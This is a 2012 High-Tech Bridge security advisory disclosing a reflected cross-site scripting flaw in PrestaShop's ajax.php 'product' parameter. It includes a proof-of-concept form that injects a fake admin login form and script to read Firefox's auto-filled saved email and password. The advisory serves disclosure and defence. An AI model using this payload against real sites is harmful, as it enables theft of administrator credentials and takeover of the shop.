XSS in PrestaShop

2012-05-09T00:00:00
ID HTB23091
Type htbridge
Reporter High-Tech Bridge
Modified 2012-08-27T00:00:00

Description

High-Tech Bridge SA Security Research Lab has discovered vulnerability in PrestaShop, which can be exploited to perform Cross-Site Scripting (XSS) attacks.

1) Cross-Site Scripting (XSS) in PrestaShop
Input passed via the "product" POST parameter to ajax.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of an affected website.
PrestaShop sets cookies with http-only flag, therefore classic XSS exploitation designed to steal cookies will not work. The following PoC code steals passwords stored in Firefox ("remember password" function) profile:
<form action="http://[host]/[ADMIN_PANEL]/ajax.php" method="post">
<input type="hidden" name="ajaxProductsPositions" value='' />
<input type="hidden" name="id_product" value='1' />
<input type="hidden" name="id_category" value='1' />
<input type="hidden" name='product[<form action="/[ADMIN_PANEL]/login.php" method="post"><input type="text" id="email" name="email" value="" class="input"/><input id="passwd" type="password" name="passwd" class="input" value=""/></form><script>function hackfunc() { alert("Your Login: "+document.getElementById("email").value+"\nYour Password: "+document.getElementById("passwd").value); } setTimeout("hackfunc()", 1000);</script>]' value='1_1_1' />
<input type="submit" id="btn">
</form>
This PoC was successfully tested on Firefox 12.0 in default configuration, with one saved password.
Other attack scenarios that do not involve cookies disclosure are also possible.